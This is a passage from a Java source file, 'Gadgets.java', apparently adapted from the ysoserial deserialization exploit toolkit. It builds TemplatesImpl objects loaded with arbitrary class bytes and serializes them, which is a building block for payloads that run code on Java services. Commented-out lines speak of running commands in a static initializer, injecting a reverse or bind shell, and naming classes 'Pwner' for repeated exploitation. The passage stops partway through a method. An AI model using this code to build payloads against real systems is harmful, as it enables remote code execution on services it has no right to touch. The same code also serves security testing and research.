Class Gadgets

src/main/java/com/droplab/Utils/UnSerialize/utils/Gadgets.java:15–141

import java.util.HashMap;

public class Gadgets {
    public static Object createTemplatesImpl(final byte[] command, final String classname) throws Exception {
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            return createTemplatesImpl(
                    command,
                    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                    Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"),
                    classname);
        }

        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, classname);
    }

    public static Object createTemplatesImpl(final byte[] command) throws Exception {
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            return createTemplatesImpl(
                    command,
                    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                    Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }


    public static byte[] SerializeObject(Object o) {  //序列化对象
        try {
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
            objectOutputStream.writeObject(o);
            return outputStream.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return new byte[0];
    }

    public static <T> T createTemplatesImpl(final byte[] classBytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory,final String classname)
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        /*ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        clazz.makeClassInitializer().insertAfter(command);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);*/

        //final byte[] classBytes = clazz.toBytecode();